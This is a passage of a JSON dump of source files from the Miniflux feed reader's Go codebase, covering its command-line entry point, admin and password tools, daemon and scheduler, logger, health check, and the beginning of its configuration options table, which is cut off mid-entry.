database.NewConnectionPool(\n\t\tconfig.Opts.DatabaseURL(),\n\t\tconfig.Opts.DatabaseMinConns(),\n\t\tconfig.Opts.DatabaseMaxConns(),\n\t\tconfig.Opts.DatabaseConnectionLifetime(),\n\t)\n\tif err != nil {\n\t\tprintErrorAndExit(fmt.Errorf(\"unable to connect to database: %v\", err))\n\t}\n\tdefer db.Close()\n\n\tstore := storage.NewStorage(db)\n\n\tif err := store.Ping(); err != nil {\n\t\tprintErrorAndExit(err)\n\t}\n\n\tif flagMigrate {\n\t\tif err := database.Migrate(db); err != nil {\n\t\t\tprintErrorAndExit(err)\n\t\t}\n\t\treturn\n\t}\n\n\tif flagResetFeedErrors {\n\t\tif err := store.ResetFeedErrors(); err != nil {\n\t\t\tprintErrorAndExit(err)\n\t\t}\n\t\treturn\n\t}\n\n\tif flagResetFeedNextCheckAt {\n\t\tif err := store.ResetNextCheckAt(); err != nil {\n\t\t\tprintErrorAndExit(err)\n\t\t}\n\t\treturn\n\t}\n\n\tif flagExportUserFeeds != \"\" {\n\t\texportUserFeeds(store, flagExportUserFeeds)\n\t\treturn\n\t}\n\n\tif flagFlushSessions {\n\t\tflushSessions(store)\n\t\treturn\n\t}\n\n\tif flagCreateAdmin {\n\t\tcreateAdminUserFromInteractiveTerminal(store)\n\t\treturn\n\t}\n\n\tif flagResetPassword {\n\t\tresetPassword(store)\n\t\treturn\n\t}\n\n\t// Run migrations and start the daemon.\n\tif config.Opts.RunMigrations() {\n\t\tif err := database.Migrate(db); err != nil {\n\t\t\tprintErrorAndExit(err)\n\t\t}\n\t}\n\n\tif err := database.IsSchemaUpToDate(db); err != nil {\n\t\tprintErrorAndExit(err)\n\t}\n\n\tif config.Opts.CreateAdmin() {\n\t\tcreateAdminUserFromEnvironmentVariables(store)\n\t}\n\n\tif config.Opts.HasHTTPClientProxiesConfigured() {\n\t\tslog.Info(\"Initializing proxy rotation\", slog.Int(\"proxies_count\", len(config.Opts.HTTPClientProxies())))\n\t\tproxyrotator.ProxyRotatorInstance, err = proxyrotator.NewProxyRotator(config.Opts.HTTPClientProxies())\n\t\tif err != nil {\n\t\t\tprintErrorAndExit(fmt.Errorf(\"unable to initialize proxy rotator: %v\", err))\n\t\t}\n\t}\n\n\tif flagRefreshFeeds {\n\t\trefreshFeeds(store)\n\t\treturn\n\t}\n\n\tif flagRunCleanupTasks {\n\t\trunCleanupTasks(store)\n\t\treturn\n\t}\n\n\tstartDaemon(store)\n}\n\nfunc printErrorAndExit(err error) {\n\tfmt.Fprintln(os.Stderr, err)\n\tos.Exit(1)\n}\n"
  },
  {
    "path": "internal/cli/create_admin.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"log/slog\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc createAdminUserFromEnvironmentVariables(store *storage.Storage) {\n\tcreateAdminUser(store, config.Opts.AdminUsername(), config.Opts.AdminPassword())\n}\n\nfunc createAdminUserFromInteractiveTerminal(store *storage.Storage) {\n\tusername, password := askCredentials()\n\tcreateAdminUser(store, username, password)\n}\n\nfunc createAdminUser(store *storage.Storage, username, password string) {\n\tuserCreationRequest := &model.UserCreationRequest{\n\t\tUsername: username,\n\t\tPassword: password,\n\t\tIsAdmin:  true,\n\t}\n\n\tif store.UserExists(userCreationRequest.Username) {\n\t\tslog.Info(\"Skipping admin user creation because it already exists\",\n\t\t\tslog.String(\"username\", userCreationRequest.Username),\n\t\t)\n\t\treturn\n\t}\n\n\tif validationErr := validator.ValidateUserCreationWithPassword(store, userCreationRequest); validationErr != nil {\n\t\tprintErrorAndExit(validationErr.Error())\n\t}\n\n\tif user, err := store.CreateUser(userCreationRequest); err != nil {\n\t\tprintErrorAndExit(err)\n\t} else {\n\t\tslog.Info(\"Created new admin user\",\n\t\t\tslog.String(\"username\", user.Username),\n\t\t\tslog.Int64(\"user_id\", user.ID),\n\t\t)\n\t}\n}\n"
  },
  {
    "path": "internal/cli/daemon.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"context\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/signal\"\n\t\"syscall\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/server\"\n\t\"miniflux.app/v2/internal/metric\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/systemd\"\n\t\"miniflux.app/v2/internal/worker\"\n)\n\nfunc startDaemon(store *storage.Storage) {\n\tslog.Debug(\"Starting daemon...\")\n\n\tstop := make(chan os.Signal, 1)\n\tsignal.Notify(stop, os.Interrupt)\n\tsignal.Notify(stop, syscall.SIGTERM)\n\n\tpool := worker.NewPool(store, config.Opts.WorkerPoolSize())\n\n\tif config.Opts.HasSchedulerService() && !config.Opts.HasMaintenanceMode() {\n\t\trunScheduler(store, pool)\n\t}\n\n\tvar httpServers []*http.Server\n\tif config.Opts.HasHTTPService() {\n\t\thttpServers = server.StartWebServer(store, pool)\n\t}\n\n\tif config.Opts.HasMetricsCollector() {\n\t\tcollector := metric.NewCollector(store, config.Opts.MetricsRefreshInterval())\n\t\tgo collector.GatherStorageMetrics()\n\t}\n\n\tif systemd.HasNotifySocket() {\n\t\tslog.Debug(\"Sending readiness notification to Systemd\")\n\n\t\tif err := systemd.SdNotify(systemd.SdNotifyReady); err != nil {\n\t\t\tslog.Error(\"Unable to send readiness notification to systemd\", slog.Any(\"error\", err))\n\t\t}\n\n\t\tif config.Opts.HasWatchdog() && systemd.HasSystemdWatchdog() {\n\t\t\tslog.Debug(\"Activating Systemd watchdog\")\n\n\t\t\tgo func() {\n\t\t\t\tinterval, err := systemd.WatchdogInterval()\n\t\t\t\tif err != nil {\n\t\t\t\t\tslog.Error(\"Unable to get watchdog interval from systemd\", slog.Any(\"error\", err))\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tfor {\n\t\t\t\t\tif err := store.Ping(); err != nil {\n\t\t\t\t\t\tslog.Error(\"Unable to ping database\", slog.Any(\"error\", err))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tsystemd.SdNotify(systemd.SdNotifyWatchdog)\n\t\t\t\t\t}\n\n\t\t\t\t\ttime.Sleep(interval / 3)\n\t\t\t\t}\n\t\t\t}()\n\t\t}\n\t}\n\n\t<-stop\n\tslog.Debug(\"Shutting down the process\")\n\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer cancel()\n\n\tif len(httpServers) > 0 {\n\t\tslog.Debug(\"Shutting down HTTP servers...\")\n\t\tfor _, server := range httpServers {\n\t\t\tif server != nil {\n\t\t\t\tif err := server.Shutdown(ctx); err != nil {\n\t\t\t\t\tslog.Error(\"HTTP server shutdown error\", slog.Any(\"error\", err), slog.String(\"addr\", server.Addr))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tslog.Debug(\"All HTTP servers shut down.\")\n\t} else {\n\t\tslog.Debug(\"No HTTP servers to shut down.\")\n\t}\n\n\tslog.Debug(\"Process gracefully stopped\")\n}\n"
  },
  {
    "path": "internal/cli/export_feeds.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"fmt\"\n\n\t\"miniflux.app/v2/internal/reader/opml\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\nfunc exportUserFeeds(store *storage.Storage, username string) {\n\tuser, err := store.UserByUsername(username)\n\tif err != nil {\n\t\tprintErrorAndExit(fmt.Errorf(\"unable to find user: %w\", err))\n\t}\n\n\tif user == nil {\n\t\tprintErrorAndExit(fmt.Errorf(\"user %q not found\", username))\n\t}\n\n\topmlHandler := opml.NewHandler(store)\n\topmlExport, err := opmlHandler.Export(user.ID)\n\tif err != nil {\n\t\tprintErrorAndExit(fmt.Errorf(\"unable to export feeds: %w\", err))\n\t}\n\n\tfmt.Println(opmlExport)\n}\n"
  },
  {
    "path": "internal/cli/flush_sessions.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"fmt\"\n\n\t\"miniflux.app/v2/internal/storage\"\n)\n\nfunc flushSessions(store *storage.Storage) {\n\tfmt.Println(\"Flushing all sessions (disconnect users)\")\n\tif err := store.FlushAllSessions(); err != nil {\n\t\tprintErrorAndExit(err)\n\t}\n}\n"
  },
  {
    "path": "internal/cli/health_check.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n)\n\nfunc doHealthCheck(healthCheckEndpoint string) {\n\tif healthCheckEndpoint == \"auto\" {\n\t\thealthCheckEndpoint = \"http://\" + config.Opts.ListenAddr()[0] + config.Opts.BasePath() + \"/healthcheck\"\n\t}\n\n\tslog.Debug(\"Executing health check request\", slog.String(\"endpoint\", healthCheckEndpoint))\n\n\tclient := &http.Client{Timeout: 3 * time.Second}\n\tresp, err := client.Get(healthCheckEndpoint)\n\tif err != nil {\n\t\tprintErrorAndExit(fmt.Errorf(`health check failure: %v`, err))\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode != 200 {\n\t\tprintErrorAndExit(fmt.Errorf(`health check failed with status code %d`, resp.StatusCode))\n\t}\n\n\tslog.Debug(`Health check is passing`)\n}\n"
  },
  {
    "path": "internal/cli/info.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"fmt\"\n\t\"runtime\"\n\n\t\"miniflux.app/v2/internal/version\"\n)\n\nfunc info() {\n\tfmt.Println(\"Version:\", version.Version)\n\tfmt.Println(\"Commit:\", version.Commit)\n\tfmt.Println(\"Build Date:\", version.BuildDate)\n\tfmt.Println(\"Go Version:\", runtime.Version())\n\tfmt.Println(\"Compiler:\", runtime.Compiler)\n\tfmt.Println(\"Arch:\", runtime.GOARCH)\n\tfmt.Println(\"OS:\", runtime.GOOS)\n}\n"
  },
  {
    "path": "internal/cli/logger.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"io\"\n\t\"log/slog\"\n)\n\nfunc InitializeDefaultLogger(logLevel string, logFile io.Writer, logFormat string, logTime bool) error {\n\tvar programLogLevel = new(slog.LevelVar)\n\tswitch logLevel {\n\tcase \"debug\":\n\t\tprogramLogLevel.Set(slog.LevelDebug)\n\tcase \"info\":\n\t\tprogramLogLevel.Set(slog.LevelInfo)\n\tcase \"warning\":\n\t\tprogramLogLevel.Set(slog.LevelWarn)\n\tcase \"error\":\n\t\tprogramLogLevel.Set(slog.LevelError)\n\t}\n\n\tlogHandlerOptions := &slog.HandlerOptions{Level: programLogLevel}\n\tif !logTime {\n\t\tlogHandlerOptions.ReplaceAttr = func(groups []string, a slog.Attr) slog.Attr {\n\t\t\tif a.Key == slog.TimeKey {\n\t\t\t\treturn slog.Attr{}\n\t\t\t}\n\n\t\t\treturn a\n\t\t}\n\t}\n\n\tvar logger *slog.Logger\n\tswitch logFormat {\n\tcase \"json\":\n\t\tlogger = slog.New(slog.NewJSONHandler(logFile, logHandlerOptions))\n\tdefault:\n\t\tlogger = slog.New(slog.NewTextHandler(logFile, logHandlerOptions))\n\t}\n\n\tslog.SetDefault(logger)\n\n\treturn nil\n}\n"
  },
  {
    "path": "internal/cli/refresh_feeds.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"log/slog\"\n\t\"sync\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/model\"\n\tfeedHandler \"miniflux.app/v2/internal/reader/handler\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\nfunc refreshFeeds(store *storage.Storage) {\n\tvar wg sync.WaitGroup\n\n\tstartTime := time.Now()\n\n\t// Generate a batch of feeds for any user that has feeds to refresh.\n\tbatchBuilder := store.NewBatchBuilder()\n\tbatchBuilder.WithBatchSize(config.Opts.BatchSize())\n\tbatchBuilder.WithErrorLimit(config.Opts.PollingParsingErrorLimit())\n\tbatchBuilder.WithoutDisabledFeeds()\n\tbatchBuilder.WithNextCheckExpired()\n\tbatchBuilder.WithLimitPerHost(config.Opts.PollingLimitPerHost())\n\n\tjobs, err := batchBuilder.FetchJobs()\n\tif err != nil {\n\t\tslog.Error(\"Unable to fetch jobs from database\", slog.Any(\"error\", err))\n\t\treturn\n\t}\n\n\tslog.Debug(\"Feed URLs in this batch\", slog.Any(\"feed_urls\", jobs.FeedURLs()))\n\n\tnbJobs := len(jobs)\n\tvar jobQueue = make(chan model.Job, nbJobs)\n\n\tslog.Info(\"Starting a pool of workers\",\n\t\tslog.Int(\"nb_workers\", config.Opts.WorkerPoolSize()),\n\t)\n\n\tfor i := range config.Opts.WorkerPoolSize() {\n\t\twg.Add(1)\n\t\tgo func(workerID int) {\n\t\t\tdefer wg.Done()\n\t\t\tfor job := range jobQueue {\n\t\t\t\tslog.Info(\"Refreshing feed\",\n\t\t\t\t\tslog.Int64(\"feed_id\", job.FeedID),\n\t\t\t\t\tslog.Int64(\"user_id\", job.UserID),\n\t\t\t\t\tslog.Int(\"worker_id\", workerID),\n\t\t\t\t)\n\n\t\t\t\tif localizedError := feedHandler.RefreshFeed(store, job.UserID, job.FeedID, false); localizedError != nil {\n\t\t\t\t\tslog.Warn(\"Unable to refresh feed\",\n\t\t\t\t\t\tslog.Int64(\"feed_id\", job.FeedID),\n\t\t\t\t\t\tslog.Int64(\"user_id\", job.UserID),\n\t\t\t\t\t\tslog.Any(\"error\", localizedError.Error()),\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t}\n\t\t}(i)\n\t}\n\n\tfor _, job := range jobs {\n\t\tjobQueue <- job\n\t}\n\tclose(jobQueue)\n\n\twg.Wait()\n\n\tslog.Info(\"Refreshed a batch of feeds\",\n\t\tslog.Int(\"nb_feeds\", nbJobs),\n\t\tslog.String(\"duration\", time.Since(startTime).String()),\n\t)\n}\n"
  },
  {
    "path": "internal/cli/reset_password.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/validator\"\n)\n\nfunc resetPassword(store *storage.Storage) {\n\tusername, password := askCredentials()\n\tuser, err := store.UserByUsername(username)\n\tif err != nil {\n\t\tprintErrorAndExit(err)\n\t}\n\n\tif user == nil {\n\t\tprintErrorAndExit(errors.New(\"user not found\"))\n\t}\n\n\tuserModificationRequest := &model.UserModificationRequest{\n\t\tPassword: &password,\n\t}\n\tif validationErr := validator.ValidateUserModification(store, user.ID, userModificationRequest); validationErr != nil {\n\t\tprintErrorAndExit(validationErr.Error())\n\t}\n\n\tuser.Password = password\n\tif err := store.UpdateUser(user); err != nil {\n\t\tprintErrorAndExit(err)\n\t}\n\n\tfmt.Println(\"Password changed!\")\n}\n"
  },
  {
    "path": "internal/cli/scheduler.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage cli // import \"miniflux.app/v2/internal/cli\"\n\nimport (\n\t\"log/slog\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/worker\"\n)\n\nfunc runScheduler(store *storage.Storage, pool *worker.Pool) {\n\tslog.Debug(`Starting background scheduler...`)\n\n\tgo feedScheduler(\n\t\tstore,\n\t\tpool,\n\t\tconfig.Opts.PollingFrequency(),\n\t\tconfig.Opts.BatchSize(),\n\t\tconfig.Opts.PollingParsingErrorLimit(),\n\t\tconfig.Opts.PollingLimitPerHost(),\n\t)\n\n\tgo cleanupScheduler(\n\t\tstore,\n\t\tconfig.Opts.CleanupFrequency(),\n\t)\n}\n\nfunc feedScheduler(store *storage.Storage, pool *worker.Pool, frequency time.Duration, batchSize, errorLimit, limitPerHost int) {\n\tfor range time.Tick(frequency) {\n\t\t// Generate a batch of feeds for any user that has feeds to refresh.\n\t\tbatchBuilder := store.NewBatchBuilder()\n\t\tbatchBuilder.WithBatchSize(batchSize)\n\t\tbatchBuilder.WithErrorLimit(errorLimit)\n\t\tbatchBuilder.WithoutDisabledFeeds()\n\t\tbatchBuilder.WithNextCheckExpired()\n\t\tbatchBuilder.WithLimitPerHost(limitPerHost)\n\n\t\tif jobs, err := batchBuilder.FetchJobs(); err != nil {\n\t\t\tslog.Error(\"Unable to fetch jobs from database\", slog.Any(\"error\", err))\n\t\t} else if len(jobs) > 0 {\n\t\t\tslog.Debug(\"Feed URLs in this batch\", slog.Any(\"feed_urls\", jobs.FeedURLs()))\n\t\t\tpool.Push(jobs)\n\t\t}\n\t}\n}\n\nfunc cleanupScheduler(store *storage.Storage, frequency time.Duration) {\n\tfor range time.Tick(frequency) {\n\t\trunCleanupTasks(store)\n\t}\n}\n"
  },
  {
    "path": "internal/config/config.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage config // import \"miniflux.app/v2/internal/config\"\n\nimport \"miniflux.app/v2/internal/version\"\n\n// Opts holds parsed configuration options.\nvar Opts *configOptions\n\nvar defaultHTTPClientUserAgent = \"Mozilla/5.0 (compatible; Miniflux/\" + version.Version + \"; +https://miniflux.app)\"\n"
  },
  {
    "path": "internal/config/options.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage config // import \"miniflux.app/v2/internal/config\"\n\nimport (\n\t\"maps\"\n\t\"net\"\n\t\"net/url\"\n\t\"slices\"\n\t\"strings\"\n\t\"time\"\n)\n\ntype optionPair struct {\n\tKey   string\n\tValue string\n}\n\ntype configValueType int\n\nconst (\n\tstringType configValueType = iota\n\tstringListType\n\tboolType\n\tintType\n\tint64Type\n\turlType\n\tsecondType\n\tminuteType\n\thourType\n\tdayType\n\tsecretFileType\n\tbytesType\n)\n\ntype configValue struct {\n\tparsedStringValue string\n\tparsedBoolValue   bool\n\tparsedIntValue    int\n\tparsedInt64Value  int64\n\tparsedDuration    time.Duration\n\tparsedStringList  []string\n\tparsedURLValue    *url.URL\n\tparsedBytesValue  []byte\n\n\trawValue  string\n\tvalueType configValueType\n\tsecret    bool\n\ttargetKey string\n\n\tvalidator func(string) error\n}\n\ntype configOptions struct {\n\trootURL            string\n\tbasePath           string\n\tyouTubeEmbedDomain string\n\toptions            map[string]*configValue\n}\n\n// NewConfigOptions creates a new instance of ConfigOptions with default values.\nfunc NewConfigOptions() *configOptions {\n\treturn &configOptions{\n\t\trootURL:            \"http://localhost\",\n\t\tbasePath:           \"\",\n\t\tyouTubeEmbedDomain: \"www.youtube-nocookie.com\",\n\t\toptions: map[string]*configValue{\n\t\t\t\"ADMIN_PASSWORD\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tsecret:            true,\n\t\t\t},\n\t\t\t\"ADMIN_PASSWORD_FILE\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         secretFileType,\n\t\t\t\ttargetKey:         \"ADMIN_PASSWORD\",\n\t\t\t},\n\t\t\t\"ADMIN_USERNAME\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"ADMIN_USERNAME_FILE\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         secretFileType,\n\t\t\t\ttargetKey:         \"ADMIN_USERNAME\",\n\t\t\t},\n\t\t\t\"AUTH_PROXY_HEADER\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"AUTH_PROXY_USER_CREATION\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"BASE_URL\": {\n\t\t\t\tparsedStringValue: \"http://localhost\",\n\t\t\t\trawValue:          \"http://localhost\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"BATCH_SIZE\": {\n\t\t\t\tparsedIntValue: 100,\n\t\t\t\trawValue:       \"100\",\n\t\t\t\tvalueType:      intType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"CERT_DOMAIN\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"CERT_FILE\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"CLEANUP_ARCHIVE_BATCH_SIZE\": {\n\t\t\t\tparsedIntValue: 10000,\n\t\t\t\trawValue:       \"10000\",\n\t\t\t\tvalueType:      intType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"CLEANUP_ARCHIVE_READ_DAYS\": {\n\t\t\t\tparsedDuration: time.Hour * 24 * 60,\n\t\t\t\trawValue:       \"60\",\n\t\t\t\tvalueType:      dayType,\n\t\t\t},\n\t\t\t\"CLEANUP_ARCHIVE_UNREAD_DAYS\": {\n\t\t\t\tparsedDuration: time.Hour * 24 * 180,\n\t\t\t\trawValue:       \"180\",\n\t\t\t\tvalueType:      dayType,\n\t\t\t},\n\t\t\t\"CLEANUP_FREQUENCY_HOURS\": {\n\t\t\t\tparsedDuration: time.Hour * 24,\n\t\t\t\trawValue:       \"24\",\n\t\t\t\tvalueType:      hourType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"CLEANUP_REMOVE_SESSIONS_DAYS\": {\n\t\t\t\tparsedDuration: time.Hour * 24 * 30,\n\t\t\t\trawValue:       \"30\",\n\t\t\t\tvalueType:      dayType,\n\t\t\t},\n\t\t\t\"CREATE_ADMIN\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"DATABASE_CONNECTION_LIFETIME\": {\n\t\t\t\tparsedDuration: time.Minute * 5,\n\t\t\t\trawValue:       \"5\",\n\t\t\t\tvalueType:      minuteType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterThan(rawValue, 0)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"DATABASE_MAX_CONNS\": {\n\t\t\t\tparsedIntValue: 20,\n\t\t\t\trawValue:       \"20\",\n\t\t\t\tvalueType:      intType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"DATABASE_MIN_CONNS\": {\n\t\t\t\tparsedIntValue: 1,\n\t\t\t\trawValue:       \"1\",\n\t\t\t\tvalueType:      intType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 0)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"DATABASE_URL\": {\n\t\t\t\tparsedStringValue: \"user=postgres password=postgres dbname=miniflux2 sslmode=disable\",\n\t\t\t\trawValue:          \"user=postgres password=postgres dbname=miniflux2 sslmode=disable\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t\tsecret:            true,\n\t\t\t},\n\t\t\t\"DATABASE_URL_FILE\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         secretFileType,\n\t\t\t\ttargetKey:         \"DATABASE_URL\",\n\t\t\t},\n\t\t\t\"DISABLE_API\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"DISABLE_HSTS\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"DISABLE_HTTP_SERVICE\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"DISABLE_LOCAL_AUTH\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"DISABLE_SCHEDULER_SERVICE\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"FETCHER_ALLOW_PRIVATE_NETWORKS\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"FETCH_BILIBILI_WATCH_TIME\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"FETCH_NEBULA_WATCH_TIME\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"FETCH_ODYSEE_WATCH_TIME\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"FETCH_YOUTUBE_WATCH_TIME\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        \"0\",\n\t\t\t\tvalueType:       boolType,\n\t\t\t},\n\t\t\t\"FORCE_REFRESH_INTERVAL\": {\n\t\t\t\tparsedDuration: 30 * time.Minute,\n\t\t\t\trawValue:       \"30\",\n\t\t\t\tvalueType:      minuteType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterThan(rawValue, 0)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"HTTP_CLIENT_MAX_BODY_SIZE\": {\n\t\t\t\tparsedInt64Value: 15,\n\t\t\t\trawValue:         \"15\",\n\t\t\t\tvalueType:        int64Type,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"HTTP_CLIENT_PROXIES\": {\n\t\t\t\tparsedStringList: []string{},\n\t\t\t\trawValue:         \"\",\n\t\t\t\tvalueType:        stringListType,\n\t\t\t\tsecret:           true,\n\t\t\t},\n\t\t\t\"HTTP_CLIENT_PROXY\": {\n\t\t\t\tparsedURLValue: nil,\n\t\t\t\trawValue:       \"\",\n\t\t\t\tvalueType:      urlType,\n\t\t\t\tsecret:         true,\n\t\t\t},\n\t\t\t\"HTTP_CLIENT_TIMEOUT\": {\n\t\t\t\tparsedDuration: 20 * time.Second,\n\t\t\t\trawValue:       \"20\",\n\t\t\t\tvalueType:      secondType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"HTTP_CLIENT_USER_AGENT\": {\n\t\t\t\tparsedStringValue: \"\",\n\t\t\t\trawValue:          \"\",\n\t\t\t\tvalueType:         stringType,\n\t\t\t},\n\t\t\t\"HTTP_SERVER_TIMEOUT\": {\n\t\t\t\tparsedDuration: 300 * time.Second,\n\t\t\t\trawValue:       \"300\",\n\t\t\t\tvalueType:      secondType,\n\t\t\t\tvalidator: func(rawValue string) error {\n\t\t\t\t\treturn validateGreaterOrEqualThan(rawValue, 1)\n\t\t\t\t},\n\t\t\t},\n\t\t\t\"HTTPS\": {\n\t\t\t\tparsedBoolValue: false,\n\t\t\t\trawValue:        